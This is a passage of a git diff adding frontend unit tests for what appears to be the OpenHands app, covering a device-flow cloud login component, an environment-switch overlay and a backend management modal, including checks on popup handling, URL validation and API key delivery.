+ expect(dot.getAttribute("data-status")).toBe("disconnected");
+ });
+ });
+ });
+});
diff --git a/__tests__/components/backends/device-flow-login.test.tsx b/__tests__/components/backends/device-flow-login.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e2fa4157cc8e3722370dd9d82a8abf2f1b25a5f8
--- /dev/null
+++ b/__tests__/components/backends/device-flow-login.test.tsx
@@ -0,0 +1,613 @@
+import React from "react";
+import { fireEvent, render, screen, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { DeviceFlowAuth } from "#/components/features/backends/device-flow-auth";
+import type { UseDeviceFlowReturn } from "#/hooks/use-device-flow";
+
+const useDeviceFlowMock = vi.hoisted(() => vi.fn());
+const useTranslationMock = vi.hoisted(() => vi.fn());
+
+vi.mock("#/hooks/use-device-flow", () => ({
+ useDeviceFlow: useDeviceFlowMock,
+}));
+
+vi.mock("react-i18next", () => ({
+ useTranslation: (namespace?: unknown) => {
+ useTranslationMock(namespace);
+ return {
+ t: (key: string) =>
+ ({
+ BACKEND$LOGIN_WITH_OPENHANDS: "Login with OpenHands Cloud",
+ BACKEND$AUTH_STARTING: "Starting authorization",
+ BACKEND$AUTH_AWAITING: "Waiting for authorization",
+ BACKEND$AUTH_BROWSER_OPENED: "Complete login in your browser",
+ BACKEND$AUTH_OPEN_MANUALLY: "Open the authorization page",
+ BACKEND$AUTH_CANCEL: "Cancel",
+ BACKEND$AUTH_RETRY: "Retry",
+ })[key] ?? key,
+ };
+ },
+}));
+
+type DeviceFlowAuthProps = React.ComponentProps;
+
+function createFlow(
+ overrides: Partial = {},
+): UseDeviceFlowReturn {
+ return {
+ status: "idle",
+ verificationUrl: null,
+ userCode: null,
+ apiKey: null,
+ error: null,
+ errorCode: null,
+ start: vi.fn(),
+ cancel: vi.fn(),
+ reset: vi.fn(),
+ ...overrides,
+ };
+}
+
+function createProps(
+ overrides: Partial = {},
+): DeviceFlowAuthProps {
+ return {
+ host: "cloud.example.com",
+ onSuccess: vi.fn(),
+ testIdRoot: "cloud-login",
+ ...overrides,
+ };
+}
+
+function arrangeFlow(flow: UseDeviceFlowReturn) {
+ useDeviceFlowMock.mockReset();
+ useDeviceFlowMock.mockReturnValue(flow);
+}
+
+function arrangeFlowTransition(
+ initial: UseDeviceFlowReturn,
+ next: UseDeviceFlowReturn,
+) {
+ useDeviceFlowMock.mockReset();
+ useDeviceFlowMock.mockReturnValueOnce(initial).mockReturnValue(next);
+}
+
+function createPopup({
+ closed = false,
+ initialHref = "about:blank",
+ throwOnNavigation = false,
+}: {
+ closed?: boolean;
+ initialHref?: string;
+ throwOnNavigation?: boolean;
+} = {}) {
+ const close = vi.fn();
+ const location = throwOnNavigation
+ ? Object.defineProperty({}, "href", {
+ configurable: true,
+ get: () => initialHref,
+ set: () => {
+ throw new Error("Cross-origin navigation");
+ },
+ })
+ : { href: initialHref };
+ const popup = {
+ closed,
+ close,
+ location,
+ } as unknown as Window;
+
+ return { popup, close, location: location as { href: string } };
+}
+
+afterEach(() => {
+ useDeviceFlowMock.mockReset();
+ useTranslationMock.mockReset();
+ vi.restoreAllMocks();
+});
+
+describe("device-flow login", () => {
+ it("renders the default styled login label and respects its disabled state", async () => {
+ const user = userEvent.setup();
+ const flow = createFlow();
+ arrangeFlow(flow);
+ const open = vi.spyOn(window, "open").mockReturnValue(createPopup().popup);
+
+ render( );
+
+ expect(useTranslationMock).toHaveBeenNthCalledWith(1, "openhands");
+ expect(useTranslationMock).toHaveBeenNthCalledWith(2, "openhands");
+ expect(useTranslationMock).toHaveBeenCalledTimes(2);
+ expect(screen.getByTestId("cloud-login-device-flow")).toHaveClass(
+ "flex",
+ "flex-col",
+ "gap-3",
+ );
+ const button = screen.getByTestId("cloud-login-login-button");
+ expect(button).toHaveAccessibleName("Login with OpenHands Cloud");
+ expect(button).toHaveTextContent("Login with OpenHands Cloud");
+ expect(button).not.toHaveAttribute("aria-label");
+ expect(button).toHaveClass("bg-primary");
+ expect(button).toBeDisabled();
+ expect(screen.queryByRole("alert")).not.toBeInTheDocument();
+
+ await user.click(button);
+ expect(flow.start).not.toHaveBeenCalled();
+ expect(open).not.toHaveBeenCalled();
+ });
+
+ it("gives custom content an accessible label in a styled button", () => {
+ arrangeFlow(createFlow());
+
+ render(
+ ☁ ,
+ buttonVariant: "tertiary",
+ buttonClassName: "custom-button",
+ })}
+ />,
+ );
+
+ const button = screen.getByTestId("cloud-login-login-button");
+ expect(button).toHaveAccessibleName("Connect cloud account");
+ expect(button).toHaveTextContent("☁");
+ expect(button).not.toHaveTextContent("Connect cloud account");
+ expect(button).toHaveClass("custom-button");
+ });
+
+ it("starts normalized authentication from a custom unstyled control", async () => {
+ const user = userEvent.setup();
+ const flow = createFlow();
+ arrangeFlow(flow);
+ const { popup, close } = createPopup();
+ const open = vi.spyOn(window, "open").mockReturnValue(popup);
+ const warn = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+ const { unmount } = render(
+ ↗ ,
+ buttonVariant: "unstyled",
+ className: "compact-login",
+ buttonClassName: "icon-button",
+ analyticsSource: "add_backend_modal",
+ })}
+ />,
+ );
+
+ const button = screen.getByTestId("cloud-login-login-button");
+ expect(button).toHaveAccessibleName("Reconnect");
+ expect(button).toHaveClass("icon-button");
+ expect(screen.getByTestId("cloud-login-device-flow")).toHaveClass(
+ "compact-login",
+ );
+
+ await user.click(button);
+ expect(open).toHaveBeenCalledWith("about:blank", "_blank");
+ expect(flow.start).toHaveBeenCalledWith(
+ "https://cloud.example.com",
+ "add_backend_modal",
+ );
+ expect(warn).not.toHaveBeenCalled();
+
+ unmount();
+ expect(close).toHaveBeenCalledTimes(1);
+ });
+
+ it("supports a text-only unstyled trigger while modal status is idle", () => {
+ arrangeFlow(createFlow());
+
+ render(
+ ,
+ );
+
+ const button = screen.getByTestId("cloud-login-login-button");
+ expect(button).toHaveTextContent("Reconnect");
+ expect(button).not.toHaveAttribute("aria-label");
+ expect(screen.queryByRole("dialog")).not.toBeInTheDocument();
+ });
+
+ it.each([
+ ["a blank host", " "],
+ ["a host with a username", "https://user@example.com"],
+ ["a host with a password", "https://:secret@example.com"],
+ ])("does not start authentication for %s", async (_reason, host) => {
+ const user = userEvent.setup();
+ const flow = createFlow();
+ arrangeFlow(flow);
+ const open = vi.spyOn(window, "open").mockReturnValue(createPopup().popup);
+
+ render( );
+ await user.click(screen.getByTestId("cloud-login-login-button"));
+
+ expect(open).not.toHaveBeenCalled();
+ expect(flow.start).not.toHaveBeenCalled();
+ });
+
+ it("only recognizes an explicit scheme at the start of the host", async () => {
+ const user = userEvent.setup();
+ const flow = createFlow();
+ arrangeFlow(flow);
+ vi.spyOn(window, "open").mockReturnValue(createPopup().popup);
+
+ render(
+ ,
+ );
+ await user.click(screen.getByTestId("cloud-login-login-button"));
+
+ expect(flow.start).toHaveBeenCalledWith(
+ "https://prefixhttps://cloud.example.com",
+ undefined,
+ );
+ });
+
+ it("renders idle description and footer only while the flow is idle", () => {
+ arrangeFlow(createFlow());
+ const { rerender } = render(
+ idle-description
,
+ idleFooter: idle-footer
,
+ })}
+ />,
+ );
+ expect(screen.getByText("idle-description")).toBeInTheDocument();
+ expect(screen.getByText("idle-footer")).toBeInTheDocument();
+
+ arrangeFlow(createFlow({ status: "starting" }));
+ rerender(
+ idle-description,
+ idleFooter: idle-footer
,
+ })}
+ />,
+ );
+ expect(screen.queryByText("idle-description")).not.toBeInTheDocument();
+ expect(screen.queryByText("idle-footer")).not.toBeInTheDocument();
+ });
+
+ it("shows an accessible inline starting state", () => {
+ arrangeFlow(createFlow({ status: "starting" }));
+
+ render( );
+
+ const status = screen.getByTestId("cloud-login-auth-starting");
+ expect(status).toHaveAttribute("role", "status");
+ expect(status).toHaveTextContent("Starting authorization");
+ expect(status).toHaveAttribute("aria-live", "polite");
+ expect(status.querySelector("svg")).toHaveAttribute("aria-hidden", "true");
+ expect(
+ screen.queryByTestId("cloud-login-login-button"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("navigates its popup to a safe verification URL and cancels cleanly", async () => {
+ const user = userEvent.setup();
+ const idleFlow = createFlow();
+ const verificationUrl =
+ "https://cloud.example.com/device?user_code=ABCD-EFGH";
+ const awaitingFlow = createFlow({
+ status: "awaiting_authorization",
+ verificationUrl,
+ userCode: "ABCD-EFGH",
+ });
+ arrangeFlowTransition(idleFlow, awaitingFlow);
+ const { popup, close, location } = createPopup();
+ vi.spyOn(window, "open").mockReturnValue(popup);
+ const props = createProps();
+
+ const { rerender } = render( );
+ await user.click(screen.getByTestId("cloud-login-login-button"));
+ rerender( );
+
+ expect(location.href).toBe(verificationUrl);
+ const manualLink = screen.getByRole("link", { name: verificationUrl });
+ expect(manualLink).toHaveAttribute("href", verificationUrl);
+ expect(manualLink).toHaveAttribute("target", "_blank");
+ expect(manualLink).toHaveAttribute("rel", "noopener noreferrer");
+ expect(screen.getByRole("status")).toHaveTextContent(
+ "Waiting for authorization",
+ );
+ expect(screen.getByRole("status")).toHaveTextContent(
+ "Complete login in your browser",
+ );
+ expect(screen.getByRole("status")).toHaveTextContent(
+ "Open the authorization page",
+ );
+
+ await user.click(screen.getByTestId("cloud-login-auth-cancel"));
+ expect(awaitingFlow.cancel).toHaveBeenCalledTimes(1);
+ expect(close).toHaveBeenCalledTimes(1);
+ });
+
+ it("keeps the manual link available when the popup was blocked", async () => {
+ const user = userEvent.setup();
+ const idleFlow = createFlow();
+ const verificationUrl = "https://cloud.example.com/device";
+ const awaitingFlow = createFlow({
+ status: "awaiting_authorization",
+ verificationUrl,
+ });
+ arrangeFlowTransition(idleFlow, awaitingFlow);
+ const open = vi.spyOn(window, "open").mockReturnValue(null);
+ const warn = vi.spyOn(console, "warn").mockImplementation(() => {});
+ const props = createProps();
+
+ const { rerender } = render( );
+ await user.click(screen.getByTestId("cloud-login-login-button"));
+ rerender( );
+
+ expect(open).toHaveBeenCalledTimes(1);
+ expect(warn).toHaveBeenCalledWith(
+ "Popup blocked - user will need to use manual link",
+ );
+ expect(screen.getByRole("status")).toHaveTextContent(
+ "Complete login in your browser Open the authorization page",
+ );
+ expect(screen.getByRole("link", { name: verificationUrl })).toHaveAttribute(
+ "href",
+ verificationUrl,
+ );
+ });
+
+ it("does not try to navigate a popup the user already closed", async () => {
+ const user = userEvent.setup();
+ const idleFlow = createFlow();
+ const verificationUrl = "https://cloud.example.com/device";
+ const awaitingFlow = createFlow({
+ status: "awaiting_authorization",
+ verificationUrl,
+ });
+ arrangeFlowTransition(idleFlow, awaitingFlow);
+ const { popup, location } = createPopup({ closed: true });
+ const open = vi.spyOn(window, "open").mockReturnValue(popup);
+ const props = createProps();
+
+ const { rerender } = render( );
+ await user.click(screen.getByTestId("cloud-login-login-button"));
+ rerender( );
+
+ expect(location.href).toBe("about:blank");
+ expect(open).toHaveBeenCalledTimes(1);
+ expect(screen.getByRole("link", { name: verificationUrl })).toBeVisible();
+ });
+
+ it("does not navigate when a verification URL arrives outside the awaiting state", async () => {
+ const user = userEvent.setup();
+ const idleFlow = createFlow();
+ const startingFlow = createFlow({
+ status: "starting",
+ verificationUrl: "https://cloud.example.com/device",
+ });
+ arrangeFlowTransition(idleFlow, startingFlow);
+ const { popup, location } = createPopup();
+ const open = vi.spyOn(window, "open").mockReturnValue(popup);
+ const props = createProps();
+
+ const { rerender } = render( );
+ await user.click(screen.getByTestId("cloud-login-login-button"));
+ rerender( );
+
+ expect(location.href).toBe("about:blank");
+ expect(open).toHaveBeenCalledTimes(1);
+ expect(screen.getByTestId("cloud-login-auth-starting")).toBeVisible();
+ });
+
+ it("opens a fallback popup when the original cannot be navigated", async () => {
+ const user = userEvent.setup();
+ const idleFlow = createFlow();
+ const verificationUrl = "https://cloud.example.com/device";
+ const awaitingFlow = createFlow({
+ status: "awaiting_authorization",
+ verificationUrl,
+ });
+ arrangeFlowTransition(idleFlow, awaitingFlow);
+ const original = createPopup({ throwOnNavigation: true });
+ const fallback = createPopup({ initialHref: verificationUrl });
+ const open = vi
+ .spyOn(window, "open")
+ .mockReturnValueOnce(original.popup)
+ .mockReturnValueOnce(fallback.popup);
+ const props = createProps();
+
+ const { rerender, unmount } = render( );
+ await user.click(screen.getByTestId("cloud-login-login-button"));
+ rerender( );
+
+ expect(open).toHaveBeenNthCalledWith(
+ 2,
+ verificationUrl,
+ "_blank",
+ "noopener,noreferrer",
+ );
+
+ unmount();
+ expect(fallback.close).toHaveBeenCalledTimes(1);
+ });
+
+ it.each([
+ ["an insecure URL", "http://cloud.example.com/device"],
+ ["a malformed URL", "not a URL"],
+ ])("does not expose or navigate to %s", async (_reason, verificationUrl) => {
+ const user = userEvent.setup();
+ const idleFlow = createFlow();
+ const awaitingFlow = createFlow({
+ status: "awaiting_authorization",
+ verificationUrl,
+ });
+ arrangeFlowTransition(idleFlow, awaitingFlow);
+ const { popup, location } = createPopup();
+ const open = vi.spyOn(window, "open").mockReturnValue(popup);
+ const error = vi.spyOn(console, "error").mockImplementation(() => {});
+ const props = createProps();
+
+ const { rerender } = render( );
+ await user.click(screen.getByTestId("cloud-login-login-button"));
+ rerender( );
+
+ expect(location.href).toBe("about:blank");
+ expect(open).toHaveBeenCalledTimes(1);
+ expect(screen.queryByRole("link")).not.toBeInTheDocument();
+ expect(error).toHaveBeenCalledWith("Invalid verification URL protocol");
+ });
+
+ it("waits safely when authorization has not supplied a URL yet", () => {
+ arrangeFlow(
+ createFlow({
+ status: "awaiting_authorization",
+ verificationUrl: null,
+ }),
+ );
+
+ render( );
+
+ expect(screen.getByTestId("cloud-login-auth-awaiting")).toBeVisible();
+ expect(screen.queryByRole("link")).not.toBeInTheDocument();
+ });
+
+ it("delivers the API key, resets the flow, and closes the popup", async () => {
+ const user = userEvent.setup();
+ const idleFlow = createFlow();
+ const successFlow = createFlow({
+ status: "success",
+ apiKey: "api-key-123",
+ });
+ arrangeFlowTransition(idleFlow, successFlow);
+ const { popup, close } = createPopup();
+ vi.spyOn(window, "open").mockReturnValue(popup);
+ const props = createProps();
+
+ const { rerender } = render( );
+ await user.click(screen.getByTestId("cloud-login-login-button"));
+ rerender( );
+
+ expect(props.onSuccess).toHaveBeenCalledWith("api-key-123");
+ expect(props.onSuccess).toHaveBeenCalledTimes(1);
+ expect(successFlow.reset).toHaveBeenCalledTimes(1);
+ expect(close).toHaveBeenCalledTimes(1);
+ expect(screen.queryByRole("status")).not.toBeInTheDocument();
+ });
+
+ it("does not report a successful flow that has no API key", () => {
+ const flow = createFlow({ status: "success", apiKey: null });
+ arrangeFlow(flow);
+ const props = createProps();
+
+ render( );
+
+ expect(props.onSuccess).not.toHaveBeenCalled();
+ expect(flow.reset).not.toHaveBeenCalled();
+ expect(
+ screen.queryByTestId("cloud-login-login-button"),
+ ).not.toBeInTheDocument();
+ expect(screen.queryByRole("status")).not.toBeInTheDocument();
+ expect(screen.queryByRole("alert")).not.toBeInTheDocument();
+ });
+
+ it("delivers an initially available API key without requiring a popup", () => {
+ const flow = createFlow({ status: "success", apiKey: "api-key-123" });
+ arrangeFlow(flow);
+ const props = createProps();
+
+ expect(() => render( )).not.toThrow();
+
+ expect(props.onSuccess).toHaveBeenCalledWith("api-key-123");
+ expect(flow.reset).toHaveBeenCalledTimes(1);
+ expect(screen.queryByRole("alert")).not.toBeInTheDocument();
+ });
+
+ it("does not deliver an API key before authentication succeeds", () => {
+ const flow = createFlow({
+ status: "starting",
+ apiKey: "premature-api-key",
+ });
+ arrangeFlow(flow);
+ const props = createProps();
+
+ render( );
+
+ expect(props.onSuccess).not.toHaveBeenCalled();
+ expect(flow.reset).not.toHaveBeenCalled();
+ });
+
+ it("shows an authorization error and retries an explicit host", async () => {
+ const user = userEvent.setup();
+ const flow = createFlow({
+ status: "error",
+ error: "Authorization expired",
+ errorCode: "expired_token",
+ });
+ arrangeFlow(flow);
+ const { popup } = createPopup();
+ const open = vi.spyOn(window, "open").mockReturnValue(popup);
+
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("cloud-login-auth-error")).toHaveTextContent(
+ "Authorization expired",
+ );
+ await user.click(screen.getByTestId("cloud-login-auth-retry"));
+
+ expect(open).toHaveBeenCalledWith("about:blank", "_blank");
+ expect(flow.start).toHaveBeenCalledWith(
+ "HTTP://cloud.example.com",
+ undefined,
+ );
+ });
+
+ it("renders progress in a modal that ignores backdrop clicks but cancels on Escape", () => {
+ const flow = createFlow({ status: "starting" });
+ arrangeFlow(flow);
+
+ render( );
+
+ const dialog = screen.getByRole("dialog", {
+ name: "Login with OpenHands Cloud",
+ });
+ const modal = screen.getByTestId("cloud-login-auth-modal");
+ expect(within(modal).getByRole("status")).toHaveTextContent(
+ "Starting authorization",
+ );
+ expect(
+ within(screen.getByTestId("cloud-login-device-flow")).queryByRole(
+ "status",
+ ),
+ ).not.toBeInTheDocument();
+
+ fireEvent.click(dialog.firstElementChild as HTMLElement);
+ expect(flow.cancel).not.toHaveBeenCalled();
+
+ const runtimeErrors: unknown[] = [];
+ const preventRuntimeError = (event: ErrorEvent) => {
+ event.preventDefault();
+ runtimeErrors.push(event.error);
+ };
+ window.addEventListener("error", preventRuntimeError);
+ try {
+ fireEvent.keyDown(window, { key: "Escape" });
+ } finally {
+ window.removeEventListener("error", preventRuntimeError);
+ }
+
+ expect(runtimeErrors).toEqual([]);
+ expect(flow.cancel).toHaveBeenCalledTimes(1);
+ });
+});
diff --git a/__tests__/components/backends/environment-switch-overlay.test.tsx b/__tests__/components/backends/environment-switch-overlay.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d9332155c2f8dad9d813292eb6d39fbc51fbaaa1
--- /dev/null
+++ b/__tests__/components/backends/environment-switch-overlay.test.tsx
@@ -0,0 +1,66 @@
+import React from "react";
+import { act, render, screen } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetEnvironmentSwitchOverlayForTests,
+ dismissEnvironmentSwitch,
+ ENVIRONMENT_SWITCH_DURATION_MS,
+ EnvironmentSwitchOverlay,
+ triggerEnvironmentSwitch,
+} from "#/components/features/backends/environment-switch-overlay";
+
+describe("EnvironmentSwitchOverlay", () => {
+ beforeEach(() => {
+ vi.useFakeTimers();
+ });
+
+ afterEach(() => {
+ __resetEnvironmentSwitchOverlayForTests();
+ vi.useRealTimers();
+ });
+
+ it("renders the overlay with the requested target on trigger and tears it down after the configured duration", () => {
+ // Arrange
+ render( );
+
+ // Act — request a switch to a specific environment
+ act(() => {
+ triggerEnvironmentSwitch("Acme Cloud");
+ });
+
+ // Assert — overlay is mounted and carries the requested target
+ expect(screen.getByTestId("environment-switch-overlay")).toHaveAttribute(
+ "data-target",
+ "Acme Cloud",
+ );
+
+ // Act — wait out the auto-hide window
+ act(() => {
+ vi.advanceTimersByTime(ENVIRONMENT_SWITCH_DURATION_MS);
+ });
+
+ // Assert — overlay tears itself down without further user action
+ expect(
+ screen.queryByTestId("environment-switch-overlay"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("hides immediately when dismissed before the auto-hide timeout", () => {
+ render( );
+
+ act(() => {
+ triggerEnvironmentSwitch("Acme Cloud");
+ });
+ expect(
+ screen.getByTestId("environment-switch-overlay"),
+ ).toBeInTheDocument();
+
+ act(() => {
+ dismissEnvironmentSwitch();
+ });
+
+ expect(
+ screen.queryByTestId("environment-switch-overlay"),
+ ).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/backends/manage-backends-modal.test.tsx b/__tests__/components/backends/manage-backends-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a6beea6e9063bfe8ca1a7fd94ce7d983e6814744
--- /dev/null
+++ b/__tests__/components/backends/manage-backends-modal.test.tsx
@@ -0,0 +1,1021 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import { SEEDED_DEFAULT_BACKEND_ID } from "#/api/backend-registry/default-backend";
+import {
+ BACKEND_HEALTH_STORAGE_KEY,
+ MAX_CONSECUTIVE_FAILURES,
+} from "#/api/backend-registry/health-storage";
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import { __resetHealthStoreForTests } from "#/api/backend-registry/health-store";
+import {
+ ActiveBackendProvider,
+ useActiveBackendContext,
+} from "#/contexts/active-backend-context";
+import { ManageBackendsModal } from "#/components/features/backends/manage-backends-modal";
+import { BackendVersion } from "#/components/features/backends/backend-version";
+import { BackendRow } from "#/components/features/backends/backend-row";
+import { type Backend } from "#/api/backend-registry/types";
+import { CLOUD_BACKEND_LOGGED_OUT_ERROR } from "#/hooks/query/use-backends-health";
+import {
+ getCloudOrganizations,
+ getCloudOrganizationMe,
+ getCurrentCloudApiKey,
+} from "#/api/cloud/organization-service.api";
+import * as telemetry from "#/services/telemetry";
+
+const deviceFlowMocks = vi.hoisted(() => ({
+ startDeviceFlow: vi.fn(),
+ pollForToken: vi.fn(),
+}));
+
+const getServerInfoMock = vi.fn().mockResolvedValue({ version: "1.28.0" });
+const getSettingsMock = vi.fn().mockResolvedValue({});
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+ ServerClient: vi.fn(function ServerClientMock() {
+ return { getServerInfo: getServerInfoMock };
+ }),
+ SettingsClient: vi.fn(function SettingsClientMock() {
+ return { getSettings: getSettingsMock };
+ }),
+}));
+
+vi.mock("#/api/cloud/organization-service.api", () => ({
+ getCloudOrganizations: vi.fn(),
+ getCloudOrganizationMe: vi.fn(),
+ getCurrentCloudApiKey: vi.fn(),
+}));
+
+// Partial mock: only the device-flow network calls are stubbed. The pure
+// host-classifier `isOpenHandsCloudHost` (which the backend form uses to infer
+// a backend's kind) is inherited from the real module so classification stays
+// faithful to production.
+vi.mock("#/api/device-flow-client", async (importOriginal) => {
+ const actual =
+ await importOriginal();
+ return {
+ ...actual,
+ startDeviceFlow: deviceFlowMocks.startDeviceFlow,
+ pollForToken: deviceFlowMocks.pollForToken,
+ };
+});
+
+let captureMock: ReturnType;
+
+vi.mock("#/hooks/query/use-settings", () => ({
+ useSettings: () => ({
+ data: { user_consents_to_analytics: true, email: "user@example.com" },
+ }),
+}));
+
+function renderWithProviders(ui: React.ReactElement) {
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ return render(
+
+ {ui}
+ ,
+ );
+}
+
+function TestSeed({
+ onMount,
+ children,
+}: {
+ onMount: (ctx: ReturnType) => void;
+ children: React.ReactNode;
+}) {
+ const ctx = useActiveBackendContext();
+ React.useEffect(() => {
+ onMount(ctx);
+ }, []);
+ return children as React.ReactElement;
+}
+
+beforeEach(() => {
+ captureMock = vi.spyOn(telemetry, "trackEvent").mockResolvedValue(undefined);
+ vi.spyOn(telemetry, "isTelemetryEnabled").mockReturnValue(true);
+ window.localStorage.clear();
+ getServerInfoMock.mockReset();
+ getServerInfoMock.mockResolvedValue({ version: "1.28.0" });
+ getSettingsMock.mockReset();
+ getSettingsMock.mockResolvedValue({});
+ vi.mocked(getCloudOrganizations).mockReset();
+ vi.mocked(getCloudOrganizations).mockResolvedValue({
+ items: [],
+ currentOrgId: null,
+ });
+ vi.mocked(getCloudOrganizationMe).mockReset();
+ vi.mocked(getCloudOrganizationMe).mockResolvedValue({
+ orgId: "",
+ userId: "",
+ role: null,
+ });
+ vi.mocked(getCurrentCloudApiKey).mockReset();
+ vi.mocked(getCurrentCloudApiKey).mockResolvedValue({
+ orgId: null,
+ isLegacyKey: true,
+ });
+ deviceFlowMocks.startDeviceFlow.mockReset();
+ deviceFlowMocks.startDeviceFlow.mockResolvedValue({
+ device_code: "device-code",
+ user_code: "ABCD-EFGH",
+ verification_uri: "https://app.all-hands.dev/device",
+ verification_uri_complete:
+ "https://app.all-hands.dev/device?user_code=ABCD-EFGH",
+ expires_in: 600,
+ interval: 5,
+ });
+ deviceFlowMocks.pollForToken.mockReset();
+ deviceFlowMocks.pollForToken.mockImplementation(() => new Promise(() => {}));
+ __resetActiveStoreForTests();
+ __resetHealthStoreForTests();
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ vi.restoreAllMocks();
+ vi.unstubAllEnvs();
+ delete (window as unknown as Record)
+ .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+ __resetActiveStoreForTests();
+ __resetHealthStoreForTests();
+});
+
+describe("ManageBackendsModal", () => {
+ it("renders a status dot in each row", async () => {
+ renderWithProviders( );
+
+ expect(
+ await screen.findByTestId("manage-backends-modal"),
+ ).toBeInTheDocument();
+
+ // The seeded default Local backend row is present and has a status
+ // indicator alongside its name + host.
+ const dots = await screen.findAllByTestId("backend-status-dot");
+ expect(dots.length).toBeGreaterThanOrEqual(1);
+ });
+
+ it("shows invalid API key status when the backend auth probe returns 401", async () => {
+ getSettingsMock.mockRejectedValue(
+ Object.assign(new Error("Unauthorized"), {
+ name: "HttpError",
+ status: 401,
+ }),
+ );
+
+ renderWithProviders( );
+
+ const row = await screen.findByTestId("manage-backends-row-Local");
+ await waitFor(() =>
+ expect(
+ screen.getByTestId("manage-backends-status-Local"),
+ ).toHaveTextContent("BACKEND$STATUS_DISCONNECTED_CHECK_API_KEY"),
+ );
+ expect(
+ row.querySelector('[data-testid="backend-status-dot"]'),
+ ).toHaveAttribute("data-status", "disconnected");
+ });
+
+ it("shows disconnected for a reachable backend below the compatible version floor", async () => {
+ getServerInfoMock.mockResolvedValue({ version: "1.27.1" });
+
+ renderWithProviders( );
+
+ expect(
+ await screen.findByTestId("manage-backends-version-Local"),
+ ).toBeInTheDocument();
+ expect(getServerInfoMock).toHaveBeenCalled();
+ await waitFor(() =>
+ expect(
+ screen.getByTestId("manage-backends-status-Local"),
+ ).toHaveTextContent("ONBOARDING$BACKEND_STATUS_DISCONNECTED"),
+ );
+ expect(
+ screen.getByTestId("manage-backends-status-detail-Local"),
+ ).toHaveTextContent("Agent Canvas requires agent-server 1.28.0 or newer");
+ });
+
+ it("closes when the header close button is clicked", async () => {
+ const user = userEvent.setup();
+ const onClose = vi.fn();
+ renderWithProviders( );
+
+ await user.click(await screen.findByTestId("close-manage-backends-modal"));
+
+ expect(onClose).toHaveBeenCalledTimes(1);
+ });
+
+ it("opens the add-backend form when '+ Add backend' is clicked", async () => {
+ const user = userEvent.setup();
+ renderWithProviders( );
+
+ await user.click(screen.getByTestId("manage-backends-add"));
+
+ expect(await screen.findByTestId("add-backend-modal")).toBeInTheDocument();
+ });
+
+ it("re-checks a disabled backend on open and clears stale persisted health when it recovers", async () => {
+ window.localStorage.setItem(
+ BACKEND_HEALTH_STORAGE_KEY,
+ JSON.stringify({
+ [SEEDED_DEFAULT_BACKEND_ID]: {
+ consecutiveFailures: MAX_CONSECUTIVE_FAILURES,
+ lastError: "Network Error",
+ lastFailureAt: Date.now(),
+ disabled: true,
+ },
+ }),
+ );
+ __resetHealthStoreForTests();
+
+ renderWithProviders( );
+
+ await waitFor(() => {
+ expect(
+ window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY),
+ ).toBeNull();
+ });
+ });
+
+ it("opens an edit form pre-filled with the row's backend, and persists changes via updateBackend", async () => {
+ // These tests exercise edit-form behavior, not lock behavior; isolate
+ // them from a local .env that sets VITE_LOCK_TO_CLOUD and would hide the
+ // pencil button this test depends on.
+ vi.stubEnv("VITE_LOCK_TO_CLOUD", "");
+ delete (window as unknown as Record)
+ .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+
+ const user = userEvent.setup();
+
+ let backendId = "";
+ renderWithProviders(
+ {
+ backendId = ctx.addBackend({
+ name: "Acme Local",
+ host: "http://localhost:9000",
+ apiKey: "old-key",
+ kind: "local",
+ }).id;
+ }}
+ >
+
+ ,
+ );
+
+ await user.click(
+ await screen.findByTestId("manage-backends-edit-Acme Local"),
+ );
+
+ await screen.findByTestId("edit-backend-modal");
+ const nameInput = screen.getByTestId(
+ "edit-backend-name",
+ ) as HTMLInputElement;
+ expect(nameInput.value).toBe("Acme Local");
+
+ // Update the host and save.
+ const hostInput = screen.getByTestId(
+ "edit-backend-host",
+ ) as HTMLInputElement;
+ await user.clear(hostInput);
+ await user.type(hostInput, "http://localhost:9999");
+
+ await user.click(screen.getByTestId("edit-backend-submit"));
+
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("edit-backend-modal"),
+ ).not.toBeInTheDocument();
+ });
+
+ // The list now reflects the new host and the original id is preserved.
+ const row = screen.getByTestId("manage-backends-row-Acme Local");
+ expect(row.textContent).toContain("http://localhost:9999");
+ expect(backendId).not.toBe("");
+ });
+
+ it("preserves kind:cloud when renaming a cloud backend on a custom domain", async () => {
+ vi.stubEnv("VITE_LOCK_TO_CLOUD", "");
+ delete (window as unknown as Record)
+ .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+
+ const user = userEvent.setup();
+
+ let backendId = "";
+ renderWithProviders(
+ {
+ backendId = ctx.addBackend({
+ name: "OHE Prod",
+ host: "https://app.company.com",
+ apiKey: "sk-oh-test",
+ kind: "cloud",
+ }).id;
+ }}
+ >
+
+ ,
+ );
+
+ await user.click(
+ await screen.findByTestId("manage-backends-edit-OHE Prod"),
+ );
+ await screen.findByTestId("edit-backend-modal");
+
+ // Rename only -- host and kind are untouched
+ const nameInput = screen.getByTestId(
+ "edit-backend-name",
+ ) as HTMLInputElement;
+ await user.clear(nameInput);
+ await user.type(nameInput, "OHE Prod Renamed");
+
+ await user.click(screen.getByTestId("edit-backend-submit"));
+
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("edit-backend-modal"),
+ ).not.toBeInTheDocument();
+ });
+
+ const stored = JSON.parse(
+ window.localStorage.getItem("openhands-backends") ?? "[]",
+ );
